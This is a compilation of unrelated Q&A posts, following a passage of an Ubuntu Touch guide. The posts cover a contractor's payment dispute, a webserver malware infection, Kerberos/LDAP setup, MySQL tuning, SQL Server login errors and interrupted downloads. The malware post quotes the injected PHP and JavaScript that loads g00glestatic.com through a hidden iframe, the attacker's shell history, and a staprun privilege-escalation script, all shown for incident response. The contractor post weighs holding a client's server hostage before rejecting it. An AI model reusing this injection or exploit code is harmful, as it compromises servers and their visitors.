move between these screens. These screens are also similar to the different panels in Unity on the desktop. The Scopes section allows you to view different search scopes you have installed. These are used to search different sources when you start a search from the Dash. Search from the Music or Videos scopes to search for local media files on your device or media files online. For example, searching in the Music scope will show you music results from Grooveshark by default. Navigating Ubuntu Touch Swipe in from the left edge anywhere on the system to open the launcher, a bar with shortcuts to apps. This launcher is very similar to the launcher on the left of Ubuntu’s Unity desktop — that’s the whole idea, after all. Once you’ve opened an app, you can leave the app by swiping in from the left. The launcher will appear — keep moving your finger towards the right edge of teh screen. This will swipe the current app off the screen, taking you back to the Dash. Once back on the Dash, you’ll see your open apps represented as thumbnails under Recent. Tap a thumbnail here to go back to a running app. To remove an app from here, long-press it and tap the X button that appears. Swipe in from the right edge in any app to quickly switch between recent apps. Swipe in from the right edge and hold your finger down to reveal an application switcher that shows all your recent apps and lets you choose between them. Swipe down from the top of the screen to access the indicator panel. Here you can connect to Wi-Fi networks, view upcoming events, control GPS and Bluetooth hardware, adjust sound settings, see incoming messages, and more. This panel is for quick access to hardware settings and notifications, just like the indicators on Ubuntu’s Unity desktop. The Apps System settings not included in the pull-down panel are available in the System Settings app. To access it, tap My apps on the Dash and tap System Settings, search for the System Settings app, or open the launcher bar and tap the settings icon. The settings here a bit limited compared to other operating systems, but many of the important options are available here. You can add Evernote, Ubuntu One, Twitter, Facebook, and Google accounts from here. A free Ubuntu One account is mandatory for downloading and updating apps. A Google account can be used to sync contacts and calendar events. Some apps on Ubuntu are native apps, while many are web apps. For example, the Twitter, Gmail, Amazon, Facebook, and eBay apps included by default are all web apps that open each service’s mobile website as an app. Other applications, such as the Weather, Calendar, Dialer, Calculator, and Notes apps are native applications. Theoretically, both types of apps will be able to scale to different screen resolutions. Ubuntu Touch and Ubuntu desktop may one day share the same apps, which will adapt to different display sizes and input methods. Like Windows 8 apps, Ubuntu apps hide interface elements by default, providing you with a full-screen view of the content. Swipe up from the bottom of an app’s screen to view its interface elements. For example, swiping up from the bottom of the Web Browser app reveals Back, Forward, and Refresh buttons, along with an address bar and Activity button so you can view current and recent web pages. Swipe up even more from the bottom and you’ll see a button hovering in the middle of the app. Tap the button and you’ll see many more settings. This is an overflow area for application options and functions that can’t fit on the navigation bar. The Terminal app has a few surprising Easter eggs in this panel, including a “Hack into the NSA” option. Tap it and the following text will appear in the terminal: That’s not very nice, now tracing your location . . . . . . . . . . . .Trace failed You got away this time, but don’t try again. We’d expect to see such Easter eggs disappear before Ubuntu Touch actually ships on real devices. Ubuntu Touch has come a long way, but it’s still not something you want to use today. For example, it doesn’t even have a built-in email client — you’ll have to us your email service’s mobile website. Few apps are available, and many of the ones that are are just mobile websites. It’s not a polished operating system intended for normal users yet — it’s more of a preview for developers and device manufacturers. If you really want to try it yourself, you can install it on a Wi-Fi Nexus 7 (2013), Nexus 10, or Nexus 4 device. Follow Ubuntu’s installation instructions here.

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• I'm a contract developer and I think I'm about to get screwed [closed]

  - by kagaku

  I do contract development on the side. You could say that I'm a contract developer? Considering I've only ever had one client I'd say that's not exactly the truth - more like I took a side job and needed some extra cash. It started out as a "rebuild our website and we'll pay you $10k" type project. Once that was complete (a bit over schedule, but certainly not over budget), the company hired me on as a "long term support" contractor. The contract is to go from March of this year, expiring on December 31st of this year - 10 months. Over which a payment is to be paid on the 30th of each month for a set amount. I've been fulfilling my end of the contract on all points - doing server maintenence, application and database changes, doing huge rush changes and pretty much just going above and beyond. Currently I'm in the middle of development of an iPhone mobile application (PhoneGap based) which is nearing completion (probably 3-4 weeks from submission). It has not been all peaches and flowers though. Each and every month when my paycheck comes due, there always seems to be an issue of sorts. These issues did not occur during the initial project, only during the support contract. The actual contract states that my check should be mailed out on the 30th of the month. I have received my check on time approximately once (on time being about 2-3 days within the 30th). I've received my paycheck as late as the 15th of the next month - over two weeks late. I've put up with it because I need the paycheck. There have been promises and promises of "we'll send it out on time next time! I promise" - only to receive it just as late the next month. When I ask about payment they give me a vibe like "why are you only worried about money?" - unfortunately I don't have the luxury of not worrying about money. The last straw was with my August payment, which should have been mailed on August 30th. I received it on September 12th. The reason for the delay? "USPS is delaying it man! we sent it out on the 1st!" is the reason I got. When I finally got the check in the mail, the postage on the envelope was marked September 10th - the date it was run through the postage machine. I've been outright lied to, at this point. I carry on working, because again - I need a paycheck. I orchestrated the move of our application to a new server, developed a bunch of new changes and continued work on the iPhone app. All told I probably went over my hourly allotment (I'm paid for 40 hours a month, I probably put in at least 50). On Saturday, the 1st, I gave the main contact at the company (a company of 3, by the way - this is not some big corporation) a ring and filled him in on the status of my work for the past two weeks. Unusually I hadn't heard from him since the middle of September. His response was "oh... well, that is nice and uh.. good job. well, we've been talking within the company about things and we've certainly got some decisions ahead of us..." - not verbatim but you get the idea (I hope?). I got out of this conversation that the site is not doing very well (which it's not) and they're considering pulling the plug. Crap, this contract is going to end early - there goes Christmas! Fine, that's alright, no problem. I'll get paid for the last months work and call it a day. Unfortunately I still haven't gotten last months check, and I'm getting dicked around now. "Oh.. we had problems transferring funds, we'll try and mail it out tomorrow" and "I left a VM with the finance guy, but I can't get ahold of him". So I'm getting the feeling I'm not getting paid for all the work I put in for September. This is obviously breach of contract, and I am pissed. Thinking irrationally, I considered changing all their passwords and holding their stuff hostage. Before I think it through (by the way, I am NOT going to do this, realized it would probably get me in trouble), I go and try some passwords for our various accounts. Google Apps? Oh, I'm no longer administrator here. Godaddy? Whoops, invalid password. Disqus? Nope, invalid password here too. Google Adsense / Analytics? Invalid password. Dedicated server account manager? Invalid password. Now, I have the servers root password - I just built the box last week and haven't had a chance to send the guy the root password. Wasn't in a rush, I manage the server and they never touch it. Now all of a sudden all the passwords except this one are changed; the writing is on the wall - I am out. Here's the conundrum. I have the root password, they do not. If I give them this password all the leverage I have is gone, out the door and out of my hands. During this argument of why am I not getting paid the guy sends me an email saying "oh by the way, what's the root username and password to the server?". Considering he knows absolutely nothing, I gave him an "admin" account which really has almost no rights. I still have exclusive access to the server, I just don't know where to go. I can hold their data hostage, but I'm almost positive this is the wrong thing to do. I'd consider it blackmail, regardless of whether or not I have gotten paid yet. I can "break" something on the server and give them the whole "well, if you were paying me I could fix it!" spiel. This works from a "well he's not holding their stuff hostage" point of view, but what stops them from hiring some one else to just fix the issue at hand? For all I know the guys nephew is a "l33t hax0r" and can figure it out for free. I can give in, document as much as I can and take him to small claims court. This is breach of contract, I'm not getting paid. I have a case, right? ???? Does anyone have any experience in this? What can I do? What are my options? I'm broke, I can't afford a lawyer and I can barely afford not getting this paycheck. My wife doesn't work (I work two jobs so she doesn't have to work - we have a 1 year old) and is already looking at getting a part time job to cover the bills. Long term we'll be fine, but this has pissed me off beyond belief! Help me out, I'm about to get screwed.

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• Mass targeted malware installed - g00glestatic.com [closed]

  - by Silver89

  Possible Duplicate: My server’s been hacked EMERGENCY I run a webserver which over the last few days seems to have become infected with malware that tries to include content from "http://g00glestatic.com/s.js" It appears the attacker gained access to one of the user accounts (not root), made a few changes, added a few files and ran a few bash commands. These changes stuck out clearly to me because it is not a shared server and I am the only person with access through very secure passwords. The php/javascript code that was added .php files, this code was added: #9c282e# if(!$srvc_counter) { echo "<script type=\"text/javascript\" src=\"http://g00glestatic.com/s.js\"></script>"; $srvc_counter = true;} #/9c282e# .js files, this code was added: /*9c282e*/ var _f = document.createElement('iframe'),_r = 'setAttribute'; _f[_r]('src', 'http://g00glestatic.com/s.js'); _f.style.position = 'absolute';_f.style.width = '10px'; _f[_r]('frameborder', navigator.userAgent.indexOf('bf3f1f8686832c30d7c764265f8e7ce8') + 1); _f.style.left = '-5540px'; document.write('<div id=\'MIX_ADS\'></div>'); document.getElementById('MIX_ADS').appendChild(_f); /*/9c282e*/ The bash command taken from .bash_history (Some usernames/passwords have been subbed) su -c id $replacedPassword id; id; sudo id; replacedPassword id; cd /home/replacedUserId1; chmod +x .sess_28e2f1bc755ed3ca48b32fbcb55b91a7; ./.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; rm /home/replacedUserId1/.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; id; cd /home/replacedUserId1; chmod +x .sess_05ee5257fed0ac8e0f12096f4c3c0d20; ./.sess_05ee5257fed0ac8e0f12096f4c3c0d20; rm /home/replacedUserId1/.sess_05ee5257fed0ac8e0f12096f4c3c0d20; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; ./.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; rm /home/replacedUserId1/.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; id; kill -9 $$;; kill -9 $$;; kill -9 $$; The above seems to move files added to the public_html to the level above? I also have all 4 of the files that were added: .sess_28e2f1bc755ed3ca48b32fbcb55b91a7 .sess_05ee5257fed0ac8e0f12096f4c3c0d20 .sess_bfa542fc2578cce68eb373782c5689b9 .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e Of those four above files, three are none viewable in notepad++ and display null characters, whereas sess_fb19dfb52ed4a3ae810cd4454ac6ef1e consists of: #!/bin/sh export PATH=$PATH:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin; export LC_ALL=en_US.UTF-8 LC_COLLATE=en_US.UTF-8 LC_CTYPE=en_US.UTF-8 LANG=en_US.UTF-8 LANGUAGE=en_US.UTF-8 export TERM=linux echo -n "-> checking staprun: "; if which staprun 2>&1 | grep -q "no $1"; then flag=1 elif [ -z "`which $1 2>&1`" ]; then flag=1; fi if [ "$flag" = "1" ]; then echo "no staprun, exiting"; exit; else echo "found"; echo "-> trying to exploit... "; printf "install uprobes /bin/sh" > ololo.conf; MODPROBE_OPTIONS="-C ololo.conf" staprun -u ololo rm -f ololo.conf fi Other Noticeable Edits Any files that contain: ([.htaccess]|[index|header|footer].php|[*.js]) will have been modified and all system file and directory permissions will have been changed to: x--x--x My steps to remove this malware re uploaded original php/js files to revert any changes Changed all user passwords Modified hosts.allow to a static ip so that only I have access Removed the above 4 files and checked all modified file dates within that directory to check for any other recent modifications, none can be found Conclusion I'm hoping that as they did not have root access, any changes they wished to make higher up failed and they were only able to display an iframe on the site for a short amount of time? What else do I need to look for to check the malware infection has not spread? Second Conclusion This malware sinks too deep to 'clean', if you get infected I recommend a server nuke and rebuild from backups with increased security. Possibility It's possible that Filezilla ftp passwords were stolen through a trojan as they're unfortunately stored unencrypted. However Trend Micro Titanium has not found any. The settings box to disable passwords being saved has now been ticked, I also recommend that you take this action.

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• heimdal kerberos in openldap issue

  - by Brian

  I think I posted this on the wrong 'sister site', so here it is. I'm having a bit of trouble getting Kerberos (Heimdal version) to work nicely with OpenLDAP. The kerberos database is being stored in LDAP itself. The KDC uses SASL EXTERNAL authentication as root to access the container ou. I created the database in LDAP fine using kadmin -l, but it won't let me use kadmin without the -l flag: root@rds0:~# kadmin -l kadmin> list * krbtgt/REALM kadmin/changepw kadmin/admin changepw/kerberos kadmin/hprop WELLKNOWN/ANONYMOUS WELLKNOWN/org.h5l.fast-cookie@WELLKNOWN:ORG.H5L default brian.empson brian.empson/admin host/rds0.example.net ldap/rds0.example.net host/localhost kadmin> exit root@rds0:~# kadmin kadmin> list * brian.empson/admin@REALM's Password: <----- With right password kadmin: kadm5_get_principals: Key table entry not found kadmin> list * brian.empson/admin@REALM's Password: <------ With wrong password kadmin: kadm5_get_principals: Already tried ENC-TS-info, looping kadmin> I can get tickets without a problem: root@rds0:~# klist Credentials cache: FILE:/tmp/krb5cc_0 Principal: brian.empson@REALM Issued Expires Principal Nov 11 14:14:40 2012 Nov 12 00:14:37 2012 krbtgt/REALM@REALM Nov 11 14:40:35 2012 Nov 12 00:14:37 2012 ldap/rds0.example.net@REALM But I can't seem to change my own password without kadmin -l: root@rds0:~# kpasswd brian.empson@REALM's Password: <---- Right password New password: Verify password - New password: Auth error : Authentication failed root@rds0:~# kpasswd brian.empson@REALM's Password: <---- Wrong password kpasswd: krb5_get_init_creds: Already tried ENC-TS-info, looping kadmin's logs are not helpful at all: 2012-11-11T13:48:33 krb5_recvauth: Key table entry not found 2012-11-11T13:51:18 krb5_recvauth: Key table entry not found 2012-11-11T13:53:02 krb5_recvauth: Key table entry not found 2012-11-11T14:16:34 krb5_recvauth: Key table entry not found 2012-11-11T14:20:24 krb5_recvauth: Key table entry not found 2012-11-11T14:20:44 krb5_recvauth: Key table entry not found 2012-11-11T14:21:29 krb5_recvauth: Key table entry not found 2012-11-11T14:21:46 krb5_recvauth: Key table entry not found 2012-11-11T14:23:09 krb5_recvauth: Key table entry not found 2012-11-11T14:45:39 krb5_recvauth: Key table entry not found The KDC reports that both accounts succeed in authenticating: 2012-11-11T14:48:03 AS-REQ brian.empson@REALM from IPv4:192.168.72.10 for kadmin/changepw@REALM 2012-11-11T14:48:03 Client sent patypes: REQ-ENC-PA-REP 2012-11-11T14:48:03 Looking for PK-INIT(ietf) pa-data -- brian.empson@REALM 2012-11-11T14:48:03 Looking for PK-INIT(win2k) pa-data -- brian.empson@REALM 2012-11-11T14:48:03 Looking for ENC-TS pa-data -- brian.empson@REALM 2012-11-11T14:48:03 Need to use PA-ENC-TIMESTAMP/PA-PK-AS-REQ 2012-11-11T14:48:03 sending 294 bytes to IPv4:192.168.72.10 2012-11-11T14:48:03 AS-REQ brian.empson@REALM from IPv4:192.168.72.10 for kadmin/changepw@REALM 2012-11-11T14:48:03 Client sent patypes: ENC-TS, REQ-ENC-PA-REP 2012-11-11T14:48:03 Looking for PK-INIT(ietf) pa-data -- brian.empson@REALM 2012-11-11T14:48:03 Looking for PK-INIT(win2k) pa-data -- brian.empson@REALM 2012-11-11T14:48:03 Looking for ENC-TS pa-data -- brian.empson@REALM 2012-11-11T14:48:03 ENC-TS Pre-authentication succeeded -- brian.empson@REALM using aes256-cts-hmac-sha1-96 2012-11-11T14:48:03 ENC-TS pre-authentication succeeded -- brian.empson@REALM 2012-11-11T14:48:03 AS-REQ authtime: 2012-11-11T14:48:03 starttime: unset endtime: 2012-11-11T14:53:00 renew till: unset 2012-11-11T14:48:03 Client supported enctypes: aes256-cts-hmac-sha1-96, aes128-cts-hmac-sha1-96, des3-cbc-sha1, arcfour-hmac-md5, using aes256-cts-hmac-sha1-96/aes256-cts-hmac-sha1-96 2012-11-11T14:48:03 sending 704 bytes to IPv4:192.168.72.10 2012-11-11T14:45:39 AS-REQ brian.empson/admin@REALM from IPv4:192.168.72.10 for kadmin/admin@REALM 2012-11-11T14:45:39 Client sent patypes: REQ-ENC-PA-REP 2012-11-11T14:45:39 Looking for PK-INIT(ietf) pa-data -- brian.empson/admin@REALM 2012-11-11T14:45:39 Looking for PK-INIT(win2k) pa-data -- brian.empson/admin@REALM 2012-11-11T14:45:39 Looking for ENC-TS pa-data -- brian.empson/admin@REALM 2012-11-11T14:45:39 Need to use PA-ENC-TIMESTAMP/PA-PK-AS-REQ 2012-11-11T14:45:39 sending 303 bytes to IPv4:192.168.72.10 2012-11-11T14:45:39 AS-REQ brian.empson/admin@REALM from IPv4:192.168.72.10 for kadmin/admin@REALM 2012-11-11T14:45:39 Client sent patypes: ENC-TS, REQ-ENC-PA-REP 2012-11-11T14:45:39 Looking for PK-INIT(ietf) pa-data -- brian.empson/admin@REALM 2012-11-11T14:45:39 Looking for PK-INIT(win2k) pa-data -- brian.empson/admin@REALM 2012-11-11T14:45:39 Looking for ENC-TS pa-data -- brian.empson/admin@REALM 2012-11-11T14:45:39 ENC-TS Pre-authentication succeeded -- brian.empson/admin@REALM using aes256-cts-hmac-sha1-96 2012-11-11T14:45:39 ENC-TS pre-authentication succeeded -- brian.empson/admin@REALM 2012-11-11T14:45:39 AS-REQ authtime: 2012-11-11T14:45:39 starttime: unset endtime: 2012-11-11T15:45:39 renew till: unset 2012-11-11T14:45:39 Client supported enctypes: aes256-cts-hmac-sha1-96, aes128-cts-hmac-sha1-96, des3-cbc-sha1, arcfour-hmac-md5, using aes256-cts-hmac-sha1-96/aes256-cts-hmac-sha1-96 2012-11-11T14:45:39 sending 717 bytes to IPv4:192.168.72.10 I wish I had more detailed logging messages, running kadmind in debug mode seems to almost work but it just kicks me back to the shell when I type in the correct password. GSSAPI via LDAP doesn't work either, but I suspect it's because some parts of kerberos aren't working either: root@rds0:~# ldapsearch -Y GSSAPI -H ldaps:/// -b "o=mybase" o=mybase SASL/GSSAPI authentication started ldap_sasl_interactive_bind_s: Other (e.g., implementation specific) error (80) additional info: SASL(-1): generic failure: GSSAPI Error: Unspecified GSS failure. Minor code may provide more information () root@rds0:~# ldapsearch -Y EXTERNAL -H ldapi:/// -b "o=mybase" o=mybase SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 # extended LDIF <snip> Would anyone be able to point me in the right direction?

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• MySQL is hogging my server resources

  - by Reacen

  Does anyone have any idea of what can cause this weird behaviour and how I go about fixing it? This is all coming from MySQL only (both RAM and CPU usage), for about 10 minutes after I reboot my Java game server (that has a pool of 256 connections). There are not that many queries and I think it may be more of a MySQL misconfiguration problem. My server: 3.20 GHz * 6 core / 24 GB RAM / 64 bit Windows Server 2003. My game server: Java server, with 256 MySQL connections pool (MyISAM engine), about 500,000 accounts, and 9 million rows of game items in database and about 3,000 players are connected. After about 15 minutes of the game server reboot, the server resumes its stability and CPU usage drop down to 1% ~ 5% and memory to 6 GB. Here is a copy of my MySQL configuration. Also, any advice about my MySQL configuration will be appreciated. I really set it up almost at random. # Example MySQL config file for very large systems. # # This is for a large system with memory of 1G-2G where the system runs mainly # MySQL. # # You can copy this file to # /etc/my.cnf to set global options, # mysql-data-dir/my.cnf to set server-specific options (in this # installation this directory is C:\mysql\data) or # ~/.my.cnf to set user-specific options. # # In this file, you can use all long options that a program supports. # If you want to know which options a program supports, run the program # with the "--help" option. # The following options will be passed to all MySQL clients [client] #password = your_password port = 3306 socket = /tmp/mysql.sock # Here follows entries for some specific programs # The MySQL server [mysqld] #log=c:\mysql.log port = 3306 socket = /tmp/mysql.sock skip-locking key_buffer_size = 2572M max_allowed_packet = 64M table_open_cache = 512 sort_buffer_size = 128M read_buffer_size = 128M read_rnd_buffer_size = 128M myisam_sort_buffer_size = 500M thread_cache_size = 32 query_cache_size = 1948M # Try number of CPU's*2 for thread_concurrency thread_concurrency = 12 max_connections = 5000 # Don't listen on a TCP/IP port at all. This can be a security enhancement, # if all processes that need to connect to mysqld run on the same host. # All interaction with mysqld must be made via Unix sockets or named pipes. # Note that using this option without enabling named pipes on Windows # (via the "enable-named-pipe" option) will render mysqld useless! # #skip-networking # Replication Master Server (default) # binary logging is required for replication log-bin=mysql-bin # required unique id between 1 and 2^32 - 1 # defaults to 1 if master-host is not set # but will not function as a master if omitted server-id = 1 # Replication Slave (comment out master section to use this) # # To configure this host as a replication slave, you can choose between # two methods : # # 1) Use the CHANGE MASTER TO command (fully described in our manual) - # the syntax is: # # CHANGE MASTER TO MASTER_HOST=<host>, MASTER_PORT=<port>, # MASTER_USER=<user>, MASTER_PASSWORD=<password> ; # # where you replace <host>, <user>, <password> by quoted strings and # <port> by the master's port number (3306 by default). # # Example: # # CHANGE MASTER TO MASTER_HOST='125.564.12.1', MASTER_PORT=3306, # MASTER_USER='joe', MASTER_PASSWORD='secret'; # # OR # # 2) Set the variables below. However, in case you choose this method, then # start replication for the first time (even unsuccessfully, for example # if you mistyped the password in master-password and the slave fails to # connect), the slave will create a master.info file, and any later # change in this file to the variables' values below will be ignored and # overridden by the content of the master.info file, unless you shutdown # the slave server, delete master.info and restart the slaver server. # For that reason, you may want to leave the lines below untouched # (commented) and instead use CHANGE MASTER TO (see above) # # required unique id between 2 and 2^32 - 1 # (and different from the master) # defaults to 2 if master-host is set # but will not function as a slave if omitted #server-id = 2 # # The replication master for this slave - required #master-host = <hostname> # # The username the slave will use for authentication when connecting # to the master - required #master-user = <username> # # The password the slave will authenticate with when connecting to # the master - required #master-password = <password> # # The port the master is listening on. # optional - defaults to 3306 #master-port = <port> # # binary logging - not required for slaves, but recommended #log-bin=mysql-bin # # binary logging format - mixed recommended #binlog_format=mixed # Point the following paths to different dedicated disks #tmpdir = /tmp/ #log-update = /path-to-dedicated-directory/hostname # Uncomment the following if you are using InnoDB tables #innodb_data_home_dir = C:\mysql\data/ #innodb_data_file_path = ibdata1:2000M;ibdata2:10M:autoextend #innodb_log_group_home_dir = C:\mysql\data/ # You can set .._buffer_pool_size up to 50 - 80 % # of RAM but beware of setting memory usage too high #innodb_buffer_pool_size = 384M #innodb_additional_mem_pool_size = 20M # Set .._log_file_size to 25 % of buffer pool size #innodb_log_file_size = 100M #innodb_log_buffer_size = 8M #innodb_flush_log_at_trx_commit = 1 #innodb_lock_wait_timeout = 50 [mysqldump] quick max_allowed_packet = 64M [mysql] no-auto-rehash # Remove the next comment character if you are not familiar with SQL #safe-updates [myisamchk] key_buffer_size = 256M sort_buffer_size = 256M read_buffer = 8M write_buffer = 8M [mysqlhotcopy] interactive-timeout

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• LDAP query on linux against AD returns groups with no members

  - by SethG

  I am using LDAP+kerberos to authenticate against Active Directory on Windows 2003 R2. My krb5.conf and ldap.conf appear to be correct (according to pretty much every sample I found on the 'net). I can login to the host with both password and ssh keys. When I run getent passwd, all my ldap user accounts are listed with all the important attributes. When I run getent group, all the ldap groups and their gid's are listed, but no group members. If I run ldapsearch and filter on any group, the members are all listed with the "member" attribute. So the data is there for the taking, it's just not being parsed properly. It would appear that I simply am using an incorrect mapping in ldap.conf, but I can't see it. I've tried several variations and all give the same result. Here is my current ldap.conf: host <ad-host1-ip> <ad-host2-ip> base dc=my,dc=full,dc=dn uri ldap://<ad-host1> ldap://<ad-host2> ldap_version 3 binddn <mybinddn> bindpw <mybindpw> scope sub bind_policy hard nss_reconnect_tries 3 nss_reconnect_sleeptime 1 nss_reconnect_maxsleeptime 8 nss_reconnect_maxconntries 3 nss_map_objectclass posixAccount User nss_map_objectclass posixGroup Group nss_map_attribute uid sAMAccountName nss_map_attribute gidNumber msSFU30GidNumber nss_map_attribute uidNumber msSFU30UidNumber nss_map_attribute cn cn nss_map_attribute gecos displayName nss_map_attribute homeDirectory msSFU30HomeDirectory nss_map_attribute loginShell msSFU30LoginShell nss_map_attribute uniqueMember member pam_filter objectcategory=User pam_login_attribute sAMAccountName pam_member_attribute member pam_password ad Here's the kicker: this config works 100% fine on a different linux box with a different distro. It does not work on the distro I am planning on switching to. I have installed from source the versions of pam_ldap and nss_ldap on the new box to match the old box, which fixed another problem I was having with this setup. Other relevant info is the original AD box was Windows 2003. It's mirror died a horrible hardware death so I'm trying to add two more 2003-R2 servers to the mirror tree and ultimately drop the old 2003 box. The new R2 boxes appear to have joined the DC forest properly. What do I need to do to get groups working? I've exhausted all the resources I could find and need a different angle. Any input is appreciated. Status update, 7/31/09 I have managed to tweak my config file to get full info from the AD and performance is nice and snappy. I replaced the back-rev'd copies of pam_ldap and nss_ldap with the current ones for the distro I'm using, so it's back to a standard out-of-the-box install. Here's my current config: host <ad-host1-ip> <ad-host2-ip> base dc=my,dc=full,dc=dn uri ldap://<ad-host1> ldap://<ad-host2> ldap_version 3 binddn <mybinddn> bindpw <mybindpw> scope sub bind_policy soft nss_reconnect_tries 3 nss_reconnect_sleeptime 1 nss_reconnect_maxsleeptime 8 nss_reconnect_maxconntries 3 nss_connect_policy oneshot referrals no nss_map_objectclass posixAccount User nss_map_objectclass posixGroup Group nss_map_attribute uid sAMAccountName nss_map_attribute gidNumber msSFU30GidNumber nss_map_attribute uidNumber msSFU30UidNumber nss_map_attribute cn cn nss_map_attribute gecos displayName nss_map_attribute homeDirectory msSFU30HomeDirectory nss_map_attribute loginShell msSFU30LoginShell nss_map_attribute uniqueMember member pam_filter objectcategory=CN=Person,CN=Schema,CN=Configuration,DC=w2k,DC=cis,DC=ksu,DC=edu pam_login_attribute sAMAccountName pam_member_attribute member pam_password ad ssl off tls_checkpeer no sasl_secprops maxssf=0 The remaining problem now is when you run the groups command, not all subscribed groups are listed. Some are (one or two), but not all. Group memberships are still honored, such as file and printer access. getent group foo still shows that the user is a member of group foo. So it appears to be a presentation bug, and does not interfere with normal operation. It also appears that some (I have not determined exactly how many) group searches do not resolve correctly, even though the group is listed. eg, when you run "getent group bar", nothing is returned, but if you run "getent group|grep bar" or "getent group|grep <bar_gid>" you can see that it indeed listed and your group name and gid are correct. This still seems like an LDAP search or mapping error, but I can't figure out what it is. I'm a heckuva lot closer than earlier in the week, but I'd really like to get this last detail ironed out.

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• Intermittent Connection Issues to SQL Server 2008 R2 RTM

  - by Chandan Jha

  The problem I am facing is a very complex one and inspite of trying to gather a root cause of the problem, I am standing at the same place after 2 months with just bits and pieces of information.Here is a scenario: There is a windows 2003 server which uses an system DSN ODBC connection. I looked into the driver properties and it is as follows: Name Version File SQL Server 2000.86.3959.00 SQLSRV32.DLL Now, this system DSN has been given configured with TCP\IP in Network Libraries and 'determine port dynamically' is checked. Now, lets come to the database destination. It is hosted on Windows 2008 having SQL 2008 R2 RTM version 64-bit. Now, I will give you a an overview about the events that happen and whatever troubleshooting I could perform: I get an email saying 'blah blah' failed and the only message their application gets is 'cannot connect to database' I go the SQL Server logs and find the following information: Login failed for user ''. Reason: An attempt to login using SQL authentication failed. Server is configured for Windows authentication only. [CLIENT: 10.0.0.xx Error: 18456, Severity: 14, State: 58.] A quick search shows that this error may come when an SQL Server is configured with windows authentication but its not true. We have mixed mode and connection issue is intermittent. This SQL Server is configured to run on a local system account but since we use only SQL Server accounts to connect to this, there should not be any Kerberos errors. When I run a profiler trace and see only 'existing connections', i see a lot of them coming from my client server displaying the sql user but NO hostname is shown. Textdata field shows TCP\IP information along with some arithabort and ansi-null settings. Now, I tried looking into ring connectivity buffer by using following: SELECTCAST(record AS XML) FROM sys.dm_os_ring_buffers WHERE ring_buffer_type = 'RING_BUFFER_CONNECTIVITY' One sample output is: <ConnectivityTraceRecord> <RecordType>Error</RecordType> <RecordSource>Tds</RecordSource> <Spid>118</Spid> <SniConnectionId>5124905D-D1EC-460E-AD78-201050B78C67</SniConnectionId> <OSError>0</OSError> <SniConsumerError>18452</SniConsumerError> <SniProvider>7</SniProvider> <State>1</State> <RemoteHost>10.0.0.21</RemoteHost> <RemotePort>5008</RemotePort> <LocalHost>10.1.0.38</LocalHost> <LocalPort>1433</LocalPort> <RecordTime>6/6/2012 21:14:57.527</RecordTime> <TdsBuffersInformation> <TdsInputBufferError>0</TdsInputBufferError> <TdsOutputBufferError>0</TdsOutputBufferError> <TdsInputBufferBytes>120</TdsInputBufferBytes> </TdsBuffersInformation> <TdsDisconnectFlags> <PhysicalConnectionIsKilled>0</PhysicalConnectionIsKilled> <DisconnectDueToReadError>0</DisconnectDueToReadError> <NetworkErrorFoundInInputStream>0</NetworkErrorFoundInInputStream> <ErrorFoundBeforeLogin>0</ErrorFoundBeforeLogin> <SessionIsKilled>0</SessionIsKilled> <NormalDisconnect>0</NormalDisconnect> </TdsDisconnectFlags> </ConnectivityTraceRecord> <Stack> <frame id="0">0X000000000174C34B</frame> <frame id="1">0X0000000001748FDD</frame> <frame id="2">0X0000000002461001</frame> <frame id="3">0X0000000000C47E98</frame> <frame id="4">0X00000000008015AD</frame> <frame id="5">0X0000000000801492</frame> <frame id="6">0X00000000003CBBD8</frame> <frame id="7">0X00000000003CB8BA</frame> <frame id="8">0X00000000003CB6FF</frame> <frame id="9">0X00000000008E8FB6</frame> <frame id="10">0X00000000008E9175</frame> <frame id="11">0X00000000008E9839</frame> <frame id="12">0X00000000008E9502</frame> <frame id="13">0X0000000074E437D7</frame> <frame id="14">0X0000000074E43894</frame> <frame id="15">0X00000000775A652D</frame> Somehow all the errors show error number 18452 whereas I never found this error in my SQL logs where I see only 18456. I am just stuck on a dead end because this connection issue appears intermittently. Sorry for a long question but I hope if you read this, you can make out that I tried a lot at my end before giving up.

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• All downloads being interrupted

  - by Jake

  System: Windows 7 Professional 64bit. 8GB RAM, Intel i5-2400 CPU, +300GB free on the hard drive. AVG Internet Security 2012 (enabled & disabled, with firewall enabled and disabled - no effect for either). This computer is less than a year old. Network: This problem is occurring on a single computer on a network with multiple computers. The router is a Motorola Netopia 3347-02 (DSL Modem/Wireless Router combined). The computer is plugged in directly to the modem, other computers are using the wireless successfully. The router has been reset. The only thing odd about the connection between the router and computer is that it is configured to allow RDP through, so it is assigned a static IP by the router and port forwarding is enabled for port 3389. Also, though I doubt it matters, a second wireless router is active behind this router providing a second network that some computers in the area use without issues. Details: All downloads initiated on this specific computer eventually fail, this includes streaming from youtube, specialized downloads (itunes), downloads from websites, FTP downloads, etc. Failure occurs with all browsers, but in chrome this is the process it takes: 1) Download begins normally, 2) At some point between (observed) 7MBs and 229MBs the download stops progressing (at this point, if watching chrome's task manager, you can see the network activity for the downloading tab drop to 0kps), 3) for some time the download sits there still attempting to complete, but will eventually display "123,049,871/0 B, Interrupted" (where the number is whatever it actually got to). The file I am using to test this is a very large .zip file located on a server I control, but the problem seems to occur on any site. The amount downloaded is completely random, and seems to be more time-based than anything (if I start a download immediately after the last one fails, it tends to get further than the last one). Small files can get through for this reason, though they can fail as well. In a test where I simultaneously downloaded the same file via HTTP (chrome) and FTP (windows explorer), both downloads failed at the same instant, though explorer displayed "Connection timed out" several minutes before chrome finally showed the download as interrupted. Other things I have tried based on advice given to people with similar/identical problems: Setting my MTU to 1492 (as described here: http://blog.thecompwiz.com/2011/08/networking-issues.html) 